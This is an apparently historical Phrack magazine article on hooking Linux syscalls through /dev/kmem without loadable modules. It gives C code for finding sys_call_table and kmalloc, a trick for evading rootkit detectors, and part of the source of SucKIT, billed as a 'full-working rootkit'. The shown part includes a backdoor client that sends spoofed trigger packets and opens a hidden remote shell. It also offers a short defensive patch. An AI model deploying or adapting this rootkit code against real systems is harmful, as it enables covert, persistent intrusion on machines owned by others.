

.:: Linux on-the-fly kernel patching without LKM ::.

Issues: [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28] [29] [30] [31] [32] [33] [34] [35] [36] [37] [38] [39] [40] [41] [42] [43] [44] [45] [46] [47] [48] [49] [50] [51] [52] [53] [54] [55] [56] [57] [58] [59] [60] [61] [62] [63] [64] [65] [66] [67] [68] [69] [70]

Current issue : #58 | **Release date** : **2001-12-28** | **Editor** : **Phrack Staff** Get tar.gz

Introduction	Phrack Staff
Phrack Loopback	Phrack Staff
Phrack Signalnoise	Phrack Staff
Advanced return-into-lib(c) exploits (PaX case study)	nergal
Runtime binary encryption	scut & grugq
Advances in kernel hacking	palmers
Linux on-the-fly kernel patching without LKM	devik & sd
Linux x86 kernel function hooking emulation	mayhem
RPC without borders	stealth
Developing StrongARM/Linux shellcode	funkysh
HP-UX (PA-RISC 1.1) Overflows	Zhodiac
The Security of Vita Vuova's Inferno OS	dalai
Phrack World News	Phrack Staff
Phrack magazine extraction utility	Phrack Staff

Title : Linux on-the-fly kernel patching without LKM

Author : devik & sd

```
                        ==Phrack Inc.==

                Volume 0x0b, Issue 0x3a, Phile #0x07 of 0x0e
```

Trend Micro, Inc.
EX1010-1

```
|=----------=[ Linux on-the-fly kernel patching without LKM ]=-----------=|
|=-------------------------------------------------------------------------=|
|=---------------=[ sd <sd@sf.cz>, devik <devik@cdi.cz> ]=----------------=|
|=----------------------=[ December 12th 2001 ]=-------------------------=|

--[ Contents

  1 - Introduction

  2 - /dev/kmem is our friend

  3 - Replacing kernel syscalls, sys_call_table[]
    3.1 - How to get sys_call_table[] without LKM ?
    3.2 - Redirecting int 0x80 call sys_call_table[eax] dispatch

  4 - Allocating kernel space without help of LKM support
    4.1 - Searching kmalloc() using LKM support
    4.2 - pattern search of kmalloc()
    4.3 - The GFP_KERNEL value
    4.4 - Overwriting a syscall

  5 - What you should take care of

  6 - Possible solutions

  7 - Conclusion

  8 - References

  9 - Appendix: SucKIT: The implementation


--[ 1 - Introduction

  In the beginning, we must thank Silvio Cesare, who developed the
technique of kernel patching a long time ago, most of ideas was stolen
from him.

  In this paper, we will discuss way of abusing the Linux kernel
(syscalls mostly) without help of module support or System.map at all,
so that we assume that the reader will have a clue about what LKM is,
how a LKM is loaded into kernel etc. If you are not sure, look at some
documentation (paragraph 6. [1], [2], [3])

  Imagine a scenario of a poor man which needs to change some interesting
linux syscall and LKM support is not compiled in. Imagine he have got a
box, he got root but the admin is so paranoid and he (or tripwire) don't
poor man's patched sshd and that box have not gcc/lib/.h
needed for compiling of his favourite LKM rootkit. So there are
some solutions, step by step and as an appendix, a full-featured
linux-ia32 rootkit, an example/tool, which implements all the techinques
described here.

  Most of things described there (such as syscalls, memory addressing
schemes ... code too) can work only on ia32 architecture. If someone
investigate(d) to other architectures, please contact us.

--[ 2 - /dev/kmem is our friend

 "Mem is a character device file that is an image of the main memory of
  the computer. It may be used, for example, to examine (and even patch)
  the system."
                  -- from the Linux 'mem' man page

  For full and complex documentation about run-time kernel patching take a
look at excellent Silvio's article about this subject [2].
Just in short:
  Everything we do in this paper with kernel space is done using the
standard linux device, /dev/kmem. Since this device is mostly +rw only for
```

root, you must be root too if you want to abuse it.
Note that changing of /dev/kmem permission to gain access is not
sufficient. After /dev/kmem access is allowed by VFS then there is second
check in device/char/mem.c for capable(CAP_SYS_RAWIO) of process.

  We should also note that there is another device, /dev/mem.
It is physical memory before VM translation. It might be possible to use it
if we were know page directory location. We didn't investigate this
possibility.

  Selecting address is done through lseek(), reading using read() and
writing with help of write() ... simple.

There are some helpful functions for working with kernel stuff:

```
/* read data from kmem */
static inline int rkm(int fd, int offset, void *buf, int size)
{
        if (lseek(fd, offset, 0) != offset) return 0;
        if (read(fd, buf, size) != size) return 0;
        return size;
}

/* write data to kmem */
static inline int wkm(int fd, int offset, void *buf, int size)
{
        if (lseek(fd, offset, 0) != offset) return 0;
        if (write(fd, buf, size) != size) return 0;
        return size;
}

/* read int from kmem */
static inline int rkml(int fd, int offset, ulong *buf)
{
        return rkm(fd, offset, buf, sizeof(ulong));
}

/* write int to kmem */
static inline int wkml(int fd, int offset, ulong buf)
{
        return wkm(fd, offset, &buf, sizeof(ulong));
}
```

--[3 - Replacing kernel syscalls, sys_call_table[]

  As we all know, syscalls are the lowest level of system functions (from
viewpoint of userspace) in Linux, so we'll be interested mostly in them.
Syscalls are grouped together in one big table (sct), it is just a
one-dimension array of 256 ulongs (=pointers, on ia32 architecture),
where indexing the array by a syscall number gives us the entrypoint of
given syscall. That's it.

An example pseudocode:

```
/* as everywhere, "Hello world" is good for begginers ;-) */

/* our saved original syscall */
int (*old_write) (int, char *, int);
        /* new syscall handler */
        new_write(int fd, char *buf, int count) {
        if (fd == 1) {  /* stdout ? */
                old_write(fd, "Hello world!\n", 13);
                return count;
        } else {
                return old_write(fd, buf, count);
        }
}

old_write = (void *) sys_call_table[__NR_write]; /* save old */
```

```
sys_call_table[__NR_write] = (ulong) new_write;  /* setup new one */

/* Err... there should be better things to do instead fucking up console
   with "Hello worlds" ;) */
```

This is the classic scenario of a various LKM rootkits (see paragraph 7), tty sniffers/hijackers (the halflife's one, f.e. [4]) where it is guaranted that we can import sys_call_table[] and manipulate it in a correct manner, i.e. it is simply "imported" by /sbin/insmod
[using create_module() / init_module()]

Uhh, let's stop talking about nothing, we think this is clear enough for everybody.

--[3.1 - How to get sys_call_table[] without LKM

At first, note that the Linux kernel _doesn not keep_ any kinda of information about it's symbols in case when there is no LKM support compiled in. It is rather a clever decision because why could someone need it without LKM ? For debugging ? You have System.map instead. Well WE need it :) With LKM support there are symbols intended to be imported into LKMs (in their special linker section), but we said without LKM, right ?

As far we know, the most elegant way how to obtain sys_call_table[] is:

```
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

struct {
        unsigned short limit;
        unsigned int base;
} __attribute__ ((packed)) idtr;

struct {
        unsigned short off1;
        unsigned short sel;
        unsigned char none,flags;
        unsigned short off2;
} __attribute__ ((packed)) idt;

int kmem;
void readkmem (void *m,unsigned off,int sz)
{
        if (lseek(kmem,off,SEEK_SET)!=off) {
                perror("kmem lseek"); exit(2);
        }
        if (read(kmem,m,sz)!=sz) {
                perror("kmem read"); exit(2);
        }
}

#define CALLOFF 100     /* we'll read first 100 bytes of int $0x80*/
main ()
{
        unsigned sys_call_off;
        unsigned sct;
        char sc_asm[CALLOFF],*p;

        /* well let's read IDTR */
        asm ("sidt %0" : "=m" (idtr));
        printf("idtr base at 0x%X\n",(int)idtr.base);

        /* now we will open kmem */
        kmem = open ("/dev/kmem",O_RDONLY);
        if (kmem<0) return 1;

        /* read-in IDT for 0x80 vector (syscall) */
```

```
        readkmem (&idt,idtr.base+8*0x80,sizeof(idt));
        sys_call_off = (idt.off2 << 16) | idt.off1;
        printf("idt80: flags=%X sel=%X off=%X\n",
                (unsigned)idt.flags,(unsigned)idt.sel,sys_call_off);

        /* we have syscall routine address now, look for syscall table
           dispatch (indirect call) */
        readkmem (sc_asm,sys_call_off,CALLOFF);
        p = (char*)memmem (sc_asm,CALLOFF,"\xff\x14\x85",3);
        sct = *(unsigned*)(p+3);
        if (p) {
                printf ("sys_call_table at 0x%x, call dispatch at 0x%x\n",
                        sct, p);
        }
        close(kmem);
}

How it works ? The sidt instruction "asks the processor" for the interrupt
descriptor table [asm ("sidt %0" : "=m" (idtr));], from
this structure we will get a pointer to the interrupt descriptor of
int $0x80 [readkmem (&idt,idtr.base+8*0x80,sizeof(idt));].

>From the IDT we can compute the address of int $0x80's entrypoint
[sys_call_off = (idt.off2 << 16) | idt.off1;]
Good, we know where int $0x80 began, but that is not our loved
sys_call_table[]. Let's take a look at the int $0x80 entrypoint:

[sd@pikatchu linux]$ gdb -q /usr/src/linux/vmlinux
(no debugging symbols found)...(gdb) disass system_call
Dump of assembler code for function system_call:
0xc0106bc8 <system_call>:       push   %eax
0xc0106bc9 <system_call+1>:     cld
0xc0106bca <system_call+2>:     push   %es
0xc0106bcb <system_call+3>:     push   %ds
0xc0106bcc <system_call+4>:     push   %eax
0xc0106bcd <system_call+5>:     push   %ebp
0xc0106bce <system_call+6>:     push   %edi
0xc0106bcf <system_call+7>:     push   %esi
0xc0106bd0 <system_call+8>:     push   %edx
0xc0106bd1 <system_call+9>:     push   %ecx
0xc0106bd2 <system_call+10>:    push   %ebx
0xc0106bd3 <system_call+11>:    mov    $0x18,%edx
0xc0106bd8 <system_call+16>:    mov    %edx,%ds
0xc0106bda <system_call+18>:    mov    %edx,%es
0xc0106bdc <system_call+20>:    mov    $0xffffe000,%ebx
0xc0106be1 <system_call+25>:    and    %esp,%ebx
0xc0106be3 <system_call+27>:    cmp    $0x100,%eax
0xc0106be8 <system_call+32>:    jae    0xc0106c75 <badsys>
0xc0106bee <system_call+38>:    testb  $0x2,0x18(%ebx)
0xc0106bf2 <system_call+42>:    jne    0xc0106c48 <tracesys>
0xc0106bf4 <system_call+44>:    call   *0xc01e0f18(,%eax,4) <-- that's it
0xc0106bfb <system_call+51>:    mov    %eax,0x18(%esp,1)
0xc0106bff <system_call+55>:    nop
End of assembler dump.
(gdb) print &sys_call_table
$1 = (<data variable, no debug info> *) 0xc01e0f18      <-- see ? it's same
(gdb) x/xw (system_call+44)
0xc0106bf4 <system_call+44>:    0x188514ff <-- opcode (little endian)
(gdb)

  In short, near to beginning of int $0x80 entrypoint is
'call sys_call_table(,eax,4)' opcode, because this indirect call does not
vary between kernel versions (it is same on 2.0.10 => 2.4.10), it's
relatively safe to search just for pattern of 'call <something>(,eax,4)'

opcode = 0xff 0x14 0x85 0x<address_of_table>

[memmem (sc_asm,CALLOFF,"\xff\x14\x85",3);]

  Being paranoid, one could do a more robust hack. Simply redirect whole
```

int $0x80 handler in IDT to our fake handler and intercept interesting
calls here. It is a bit more complicated as we would have to handle
reentrancy ...

  At this time, we know where sys_call_table[] is and we can change the
address of some syscalls:

```
Pseudocode:
        readkmem(&old_write, sct + __NR_write * 4, 4); /* save old */
        writekmem(new_write, sct + __NR_write * 4, 4); /* set new */
```

--[3.2 - Redirecting int $0x80 call sys_call_table[eax] dispatch

  When writing this article, we found some "rootkit detectors"
on Packetstorm/Freshmeat. They are able to detect the fact that
something is wrong with a LKM/syscalltable/other kernel
stuff...fortunately, most of them are too stupid and can be simply
fooled by the the trick introduced in [6] by SpaceWalker:

```
Pseudocode:
        ulong sct = addr of sys_call_table[]
        char *p = ptr to int 0x80's call sct(,eax,4) - dispatch
        ulong nsct[256] = new syscall table with modified entries

        readkmem(nsct, sct, 1024);      /* read old */
        old_write = nsct[__NR_write];
        nsct[__NR_write] = new_write;
        /* replace dispatch to our new sct */
        writekmem((ulong) p+3, nsct, 4);

        /* Note that this code never can work, because you can't
           redirect something kernel related to userspace, such as
           sct[] in this case */
```

Background:
  We create a copy of the original sys_call_table[] [readkmem(nsct, sct,
1024);], then we will modify entries which we're interested in [old_write =
nsct[__NR_write]; nsct[__NR_write] = new_write;] and then change _only_
addr of <something> in the call <something>(,eax,4):

```
0xc0106bf4 <system_call+44>:    call   *0xc01e0f18(,%eax,4)
                                        ~~~~|~~~~~
                                            |__ Here will be address of
                                                _our_ sct[]
```

LKM detectors (which does not check consistency of int $0x80) won't see
anything, sys_call_table[] is the same, but int $0x80 uses our implanted
table.

--[4 - Allocating kernel space without help of LKM support
  Next thing that we need is a memory page above the 0xc0000000
(or 0x80000000) address.
The 0xc0000000 value is demarcation point between user and kernel memory.
User processes have not access above the limit. Take into account
that this value is not exact, and may be different, so it is good idea
to figure out the limit on the fly (from int $0x80's entrypoint).
Well, how to get our page above the limit ? Let's take a look how regular
kernel LKM support does it (/usr/src/linux/kernel/module.c):

```
...
void inter_module_register(const char *im_name, struct module *owner,
                           const void *userdata)
{
        struct list_head *tmp;
        struct inter_module_entry *ime, *ime_new;

        if (!(ime_new = kmalloc(sizeof(*ime), GFP_KERNEL))) {
                /* Overloaded kernel, not fatal */
```

```
        ...

As we expected, they used kmalloc(size, GFP_KERNEL) ! But we can't use
kmalloc() yet because:

        - We don't know the address of kmalloc() [ paragraph 4.1, 4.2 ]
        - We don't know the value of GFP_KERNEL [ paragraph 4.3 ]
        - We can't call kmalloc() from user-space [ paragraph 4.4 ]


--[ 4.1 - Searching for kmalloc() using LKM support

If we can use LKM support:

/* kmalloc() lookup */

/* simplest & safest way, but only if LKM support is there */
ulong   get_sym(char *n) {
        struct  kernel_sym      tab[MAX_SYMS];
        int     numsyms;
        int     i;

        numsyms = get_kernel_syms(NULL);
        if (numsyms > MAX_SYMS || numsyms < 0) return 0;
        get_kernel_syms(tab);
        for (i = 0; i < numsyms; i++) {
                if (!strncmp(n, tab[i].name, strlen(n)))
                        return tab[i].value;
        }
        return 0;
}

ulong   get_kma(ulong pgoff)
{
        ret = get_sym("kmalloc");
        if (ret) return ret;
        return 0;
}

We leave this without comments.


--[ 4.2 - pattern search of kmalloc()

  But if LKM is not there, were getting into troubles. The solution
is quite dirty, and not-so-good by the way, but it seem to work.
We'll walk through kernel's .text section and look for patterns such as:

        push    GFP_KERNEL <something between 0-0xffff>
        push    size       <something between 0-0x1ffff>
        call    kmalloc

All info will be gathered into a table, sorted and the function called most
times will be our kmalloc(), here is code:

/* kmalloc() lookup */
#define RNUM 1024
ulong   get_kma(ulong pgoff)
{
        struct { uint a,f,cnt; } rtab[RNUM], *t;
        uint            i, a, j, push1, push2;
        uint            found = 0, total = 0;
        uchar           buf[0x10010], *p;
        int             kmem;
        ulong           ret;

        /* uhh, before we try to brute something, attempt to do things
           in the *right* way ;)) */
        ret = get_sym("kmalloc");
        if (ret) return ret;
```

```
        /* humm, no way ;)) */
        kmem = open(KMEM_FILE, O_RDONLY, 0);
        if (kmem < 0) return 0;
        for (i = (pgoff + 0x100000); i < (pgoff + 0x1000000);
             i += 0x10000) {
                if (!loc_rkm(kmem, buf, i, sizeof(buf))) return 0;
                /* loop over memory block looking for push and calls */
                for (p = buf; p < buf + 0x10000;) {
                        switch (*p++) {
                                case 0x68:
                                        push1 = push2;
                                        push2 = *(unsigned*)p;
                                        p += 4;
                                        continue;
                                case 0x6a:
                                        push1 = push2;
                                        push2 = *p++;
                                        continue;
                                case 0xe8:
                                        if (push1 && push2 &&
                                            push1 <= 0xffff &&
                                            push2 <= 0x1ffff) break;
                                default:
                                        push1 = push2 = 0;
                                        continue;
                        }
                        /* we have push1/push2/call seq; get address */
                        a = *(unsigned *) p + i + (p - buf) + 4;
                        p += 4;
                        total++;
                        /* find in table */
                        for (j = 0, t = rtab; j < found; j++, t++)
                                if (t->a == a && t->f == push1) break;
                        if (j < found)
                                t->cnt++;
                        else
                                if (found >= RNUM) {
                                        return 0;
                                }
                                else {
                                        found++;
                                        t->a = a;
                                        t->f = push1;
                                        t->cnt = 1;
                                }
                        push1 = push2 = 0;
                } /* for (p = buf; ... */
        } /* for (i = (pgoff + 0x100000) ...*/
        close(kmem);
        t = NULL;
        for (j = 0;j < found; j++)  /* find a winner */
                if (!t || rtab[j].cnt > t->cnt) t = rtab+j;
        if (t) return t->a;
        return 0;
}
```

The code above is a simple state machine and it doesn't bother itself with potentionaly different asm code layout (when you use some exotic GCC options). It could be extended to understand different code patterns (see switch statement) and can be made more accurate by checking GFP value in PUSHes against known patterns (see paragraph bellow).

The accuracy of this code is about 80% (i.e. 80% points to kmalloc, 20% to some junk) and seem to work on 2.2.1 => 2.4.13 ok.

--[4.3 The GFP_KERNEL value

  Next problem we get while using kmalloc() is the fact that value of GFP_KERNEL varies between kernel series, but we can get rid of it

by help of uname()

kernel version	GFP_KERNEL value
1.0.x .. 2.4.5	0x3
2.4.6 .. 2.4.x	0x1f0

Note that there is some troubles with 2.4.7-2.4.9 kernels, which
sometimes crashes due to bad GFP_KERNEL, simply because
the table above is not exact, it only shows values we CAN use.

The code:

```
#define NEW_GFP         0x1f0
#define OLD_GFP         0x3

/* uname struc */
struct un {
        char    sysname[65];
        char    nodename[65];
        char    release[65];
        char    version[65];
        char    machine[65];
        char    domainname[65];
};

int     get_gfp()
{
        struct un s;
        uname(&s);
        if ((s.release[0] == '2') && (s.release[2] == '4') &&
            (s.release[4] >= '6' ||
            (s.release[5] >= '0' && s.release[5] <= '9'))) {
                return NEW_GFP;
        }
        return OLD_GFP;
}
```

--[4.3 - Overwriting a syscall

  As we mentioned above, we can't call kmalloc() from user-space directly,
solution is Silvio's trick [2] of replacing syscall:

1. Get address of some syscall
   (IDT -> int 0x80 -> sys_call_table)
2. Create a small routine which will call kmalloc() and return
   pointer to allocated page
3. Save sizeof(our_routine) bytes of some syscall
4. Overwrite code of some syscall by our routine
5. Call this syscall from userspace thru int $0x80, so
   our routine will operate in kernel context and
   can call kmalloc() for us passing out the
   address of allocated memory as return value.
6. Restore code of some syscall with saved bytes (in step 3.)

our_routine may look as something like that:

```
struct  kma_struc {
        ulong   (*kmalloc) (uint, int);
        int     size;
        int     flags;
        ulong   mem;
} __attribute__ ((packed));

int     our_routine(struct kma_struc *k)
{
```

```
        k->mem = k->kmalloc(k->size, k->flags);
        return 0;
}
```

In this case we directly pass needed info to our routine.

Now we have kernel memory, so we can copy our handling routines
there, point entries in fake sys_call_table to them, infiltrate
this fake table into int $0x80 and enjoy the ride :)

--[5 - What you should take care of

It would be good idea to follow these rules when writing something using
this technique:

- Take care of kernel versions (We mean GFP_KERNEL).
- Play _only_ with syscalls, _do not_ use any internal kernel
  structures including task_struct, if you want to stay portable
  between kernel series.
- SMP may cause some troubles, remember to take care
  about reentrantcy and where it is needed, use
  user-space locks [src/core.c#ualloc()]

--[6 - Possible solutions

  Okay, now from the good man's point of view. You probably would
like to defeat attacks of kids using such annoying toys. Then you
should apply following kmem read-only patch and disable LKM
support in your kernel.

```
<++> kmem-ro.diff
--- /usr/src/linux/drivers/char/mem.c   Mon Apr  9 13:19:05 2001
+++ /usr/src/linux/drivers/char/mem.c   Sun Nov  4 15:50:27 2001
@@ -49,6 +51,8 @@
 const char * buf, size_t count, loff_t *ppos)
 {
        ssize_t written;
+       /* disable kmem write */
+       return -EPERM;

  written = 0;
  #if defined(__sparc__) || defined(__mc68000__)
<-->
```

Note that this patch can be source of troubles in conjuction with
some old utilities which depends on /dev/kmem writing ability.
That's payment for security.

--[7 - Conclusion

  The raw memory I/O devices in linux seems to be pretty powerful.
Attackers (of course, with root privileges) can use them
to hide their actions, steal informations, grant remote access and so on
for a long time without being noticed. As far we know, there is not so
big use of these devices (in the meaning of write access), so it may be
good idea to disable their writing ability.

--[8 - References

 [1] Silvio Cesare's homepage, pretty good info about low-level linux stuff
     [http://www.big.net.au/~silvio]

 [2] Silvio's article describing run-time kernel patching (System.map)
     [http://www.big.net.au/~silvio/runtime-kernel-kmem-patching.txt]

 [3] QuantumG's homepage, mostly virus related stuff
     [http://biodome.org/~qg]

 [4] "Abuse of the Linux Kernel for Fun and Profit" by halflife

```
     [Phrack issue 50, article 05]

 [5] "(nearly) Complete Linux Loadable Kernel Modules. The definitive guide
      for hackers, virus coders and system administrators."
     [http://www.thehackerschoice.com/papers]

  At the end, I (sd) would like to thank to devik for helping me a lot with
this crap, to Reaction for common spelling checks and to anonymous
editor's friend which proved the quality of article a lot.

--[ 9 - Appendix - SucKIT: The implementation

I'm sure that you are smart enough, so you know how to extract, install and
use these files.

[MORONS HINT: Try Phrack extraction utility, ./doc/README]

ATTENTION: This is a full-working rootkit as an example of the technique
           described above, the author doesn't take ANY RESPONSIBILITY for
           any damage caused by (mis)use of this software.

<++> ./client/Makefile
client: client.c
        $(CC) $(CFLAGS) -I../include client.c -o client
clean:
        rm -f client core
<--> ./client/Makefile
<++> ./client/client.c
/* $Id: client.c, TTY client for our backdoor, see src/bd.c */

#include <sys/wait.h>
#include <sys/types.h>
#include <sys/resource.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <fcntl.h>

#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <net/if.h>

#include <netdb.h>
#include <arpa/inet.h>
#include <termios.h>
#include <errno.h>
#include <string.h>

#define DEST_PORT       80

/* retry timeout, 15 secs works fine,
   try lower values on slower networks */
#define RETRY           15

#include "ip.h"

int     winsize;

char    *envtab[] =
{
        "",
        "",
```

```
        "LOGNAME=shitdown",
        "USERNAME=shitdown",
        "USER=shitdown",
        "PS1=[rewt@\\h \\W]\\$ ",
        "HISTFILE=/dev/null",
        "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:"
        "/usr/local/sbin:/usr/X11R6/bin:./bin",
        "!TERM",
        NULL
};

int     sendenv(int sock)
{
        struct  winsize ws;
#define ENVLEN  256
        char    envbuf[ENVLEN+1];
        char    buf1[256];
        char    buf2[256];
        int     i = 0;

        ioctl(0, TIOCGWINSZ, &ws);
        sprintf(buf1, "COLUMNS=%d", ws.ws_col);
        sprintf(buf2, "LINES=%d", ws.ws_row);
        envtab[0] = buf1; envtab[1] = buf2;

        while (envtab[i]) {
                bzero(envbuf, ENVLEN);
                if (envtab[i][0] == '!') {
                        char *env;
                        env = getenv(&envtab[i][1]);
                        if (!env) goto oops;
                        sprintf(envbuf, "%s=%s", &envtab[i][1], env);
                } else {
                        strncpy(envbuf, envtab[i], ENVLEN);
                }
                if (write(sock, envbuf, ENVLEN) < ENVLEN) return 0;
oops:
                i++;
        }
        return write(sock, "\n", 1);
}

void    winch(int i)
{
        signal(SIGWINCH, winch);
        winsize++;
}

void    sig_child(int i)
{
        waitpid(-1, NULL, WNOHANG);
}

int     usage(char *s)
{
        printf(
                "Usage:\n"
                "\t%s <host> [source_addr] [source_port]\n\n"
                ,s);
        return 1;
}

ulong   resolve(char *s)
{
        struct  hostent *he;
        struct  sockaddr_in si;
        /* resolve host */
        bzero((char *) &si, sizeof(si));
        si.sin_addr.s_addr = inet_addr(s);
        if (si.sin_addr.s_addr == INADDR_NONE) {
```

```
                printf("Looking up %s...", s); fflush(stdout);
                he = gethostbyname(s);
                if (!he) {
                        printf("Failed!\n");
                        return INADDR_NONE;
                }
                memcpy((char *) &si.sin_addr, (char *) he->h_addr,
                       sizeof(si.sin_addr));
                printf("OK\n");
        }
        return si.sin_addr.s_addr;
}

int     raw_send(struct rawdata *d, ulong tfrom, ushort sport, ulong to,
                 ushort dport)
{
        int                     raw_sock;
        int                     hincl = 1;
        struct  sockaddr_in     from;
        struct  ippkt           packet;
        struct  pseudohdr       psd;
        int     err;

        char                    tosum[sizeof(psd) + sizeof(packet.tcp)];

        raw_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
        if (raw_sock < 0) {
                perror("socket");
                return 0;
        }
        if (setsockopt(raw_sock, IPPROTO_IP,
            IP_HDRINCL, &hincl, sizeof(hincl)) < 0) {
                perror("socket");
                close(raw_sock);
                return 0;
        }
        bzero((char *) &packet, sizeof(packet));
        from.sin_addr.s_addr = to;
        from.sin_family = AF_INET;

        /* setup IP header */
        packet.ip.ip_len = sizeof(struct ip) +
                           sizeof(struct tcphdr) + 12 +
                           sizeof(struct rawdata);
        packet.ip.ip_hl = sizeof(packet.ip) >> 2;
        packet.ip.ip_v = 4;
        packet.ip.ip_ttl = 255;
        packet.ip.ip_tos = 0;
        packet.ip.ip_off = 0;
        packet.ip.ip_id = htons((int) rand());
        packet.ip.ip_p = 6;
        packet.ip.ip_src.s_addr = tfrom; /* www.microsoft.com :) */
        packet.ip.ip_dst.s_addr = to;
        packet.ip.ip_sum = in_chksum((u_short *) &packet.ip,
                                     sizeof(struct ip));

        /* tcp header */
        packet.tcp.source = sport;
        packet.tcp.dest = dport;
        packet.tcp.seq = 666;
        packet.tcp.ack = 0;
        packet.tcp.urg = 0;
        packet.tcp.window = 1234;
        packet.tcp.urg_ptr = 1234;
        memcpy(packet.data, (char *) d, sizeof(struct rawdata));

        /* pseudoheader */
        memcpy(&psd.saddr, &packet.ip.ip_src.s_addr, 4);
        memcpy(&psd.daddr, &packet.ip.ip_dst.s_addr, 4);
        psd.protocol = 6;
```

```
        psd.lenght = htons(sizeof(struct tcphdr) + 12 +
                           sizeof(struct rawdata));
        memcpy(tosum, &psd, sizeof(psd));
        memcpy(tosum + sizeof(psd), &packet.tcp, sizeof(packet.tcp));
        packet.tcp.check = in_chksum((u_short *) &tosum, sizeof(tosum));

        /* send that fuckin' stuff */
        err = sendto(raw_sock, &packet, sizeof(struct ip) +
                              sizeof(struct iphdr) + 12 +
                              sizeof(struct rawdata),
                              0, (struct sockaddr *) &from,
                              sizeof(struct sockaddr));
        if (err < 0) {
                perror("sendto");
                close(raw_sock);
                return 0;
        }
        close(raw_sock);
        return 1;
}

#define BUF     16384
int     main(int argc, char *argv[])
{
        ulong   serv;
        ulong   saddr;
        ushort  sport = htons(80);
        char    hostname[1024];
        struct  rawdata         data;

        int     sock;
        int     pid;
        struct  sockaddr_in     peer;
        struct  sockaddr_in     srv;
        int     slen = sizeof(srv);
        int     ss;


        char    pwd[256];
        int     i;
        struct  termios old, new;
        unsigned char   buf[BUF];
        fd_set          fds;
        struct  winsize ws;

        /* input checks */
        if (argc < 2) return usage(argv[0]);
        serv = resolve(argv[1]);
        if (!serv) return 1;

        if (argc >= 3) {
                saddr = resolve(argv[2]);
                if (!saddr) return 1;
        } else {
                if (gethostname(hostname, sizeof(hostname)) < 0) {
                        perror("gethostname");
                        return 1;
                }
                saddr = resolve(hostname);
                if (!saddr) return 1;
        }
        if (argc == 4) {
                int     i;
                if (sscanf(argv[3], "%u", &i) != 1)
                        return usage(argv[0]);
                sport = htons(i);
        }

        peer.sin_addr.s_addr = serv;
        printf("Trying %s...", inet_ntoa(peer.sin_addr)); fflush(stdout);
```

```
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock < 0) {
        perror("socket");
        return 1;
}
bzero((char *) &peer, sizeof(peer));

peer.sin_family = AF_INET;
peer.sin_addr.s_addr = htonl(INADDR_ANY);
peer.sin_port = 0;

if (bind(sock, (struct sockaddr *) &peer, sizeof(peer)) < 0) {
        perror("bind");
        return 1;
}

if (listen(sock, 1) < 0) {
        perror("listen");
        return 1;
}

pid = fork();
if (pid < 0) {
        perror("fork");
        return 1;
}

/* child ? */
if (pid == 0) {
        int     plen = sizeof(peer);
        if (getsockname(sock, (struct sockaddr *) &peer,
            &plen) < 0) {
                exit(0);
        }
        data.ip = saddr;
        data.port = peer.sin_port;
        data.id = RAWID;
        while (1) {
                int     i;
                if (!raw_send(&data, saddr, sport, serv,
                    htons(DEST_PORT))) {
                        exit(0);
                }
                for (i = 0; i < RETRY; i++) {
                        printf("."); fflush(stdout);
                        sleep(1);
                }
        }
}

signal(SIGCHLD, sig_child);
ss = accept(sock, (struct sockaddr *) &srv, &slen);
if (ss < 0) {
        perror("Network error");
        kill(pid, SIGKILL);
        exit(1);
}
kill(pid, SIGKILL);
close(sock);
printf("\nChallenging %s\n", argv[1]);

/* set-up terminal */
tcgetattr(0, &old);
new = old;
new.c_lflag &= ~(ICANON | ECHO | ISIG);
new.c_iflag &= ~(IXON | IXOFF);
tcsetattr(0, TCSAFLUSH, &new);

printf(
        "Connected to %s.\n"
```

```
                "Escape character is '^K'\n", argv[1]);

        printf("Password:"); fflush(stdout);
        bzero(pwd, sizeof(pwd));
        i = 0;
        while (1) {
                if (read(0, &pwd[i], 1) <= 0) break;
                if (pwd[i] == ECHAR) {
                        printf("Interrupted!\n");
                        tcsetattr(0, TCSAFLUSH, &old);
                        return 0;
                }
                if (pwd[i] == '\n') break;
                i++;
        }
        pwd[i] = 0;
        write(ss, pwd, sizeof(pwd));
        printf("\n");
        if (sendenv(ss) <= 0) {
                perror("Failed");
                tcsetattr(0, TCSAFLUSH, &old);
                return 1;
        }

        /* everything seems to be OK, so let's go ;) */
        winch(0);
        while (1) {
                FD_ZERO(&fds);
                FD_SET(0, &fds);
                FD_SET(ss, &fds);

                if (winsize) {
                        if (ioctl(0, TIOCGWINSZ, &ws) == 0) {
                                buf[0] = ECHAR;
                                buf[1] = (ws.ws_col >> 8) & 0xFF;
                                buf[2] = ws.ws_col & 0xFF;
                                buf[3] = (ws.ws_row >> 8) & 0xFF;
                                buf[4] = ws.ws_row & 0xFF;
                                write(ss, buf, 5);
                        }
                        winsize = 0;
                }

                if (select(ss+1, &fds, NULL, NULL, NULL) < 0) {
                        if (errno == EINTR) continue;
                        break;
                }
                if (winsize) continue;
                if (FD_ISSET(0, &fds)) {
                        int     count = read(0, buf, BUF);
//                      int     i;
                        if (count <= 0) break;
                        if (memchr(buf, ECHAR, count)) {
                                printf("Interrupted!\n");
                                break;
                        }
                        if (write(ss, buf, count) <= 0) break;
                }
                if (FD_ISSET(ss, &fds)) {
                        int     count = read(ss, buf, BUF);
                        if (count <= 0) break;
                        if (write(0, buf, count) <= 0) break;
                }
        }
        close(sock);
        tcsetattr(0, TCSAFLUSH, &old);
        printf("\nConnection closed.\n");
        return 0;
}
<--> ./client/client.c
```

```
<++> ./doc/LICENSE
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* SUCKIT v1.1c - New, singing, dancing, world-smashing rewtkit  *
* (c)oded by sd@sf.cz & devik@cdi.cz, 2001                      *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
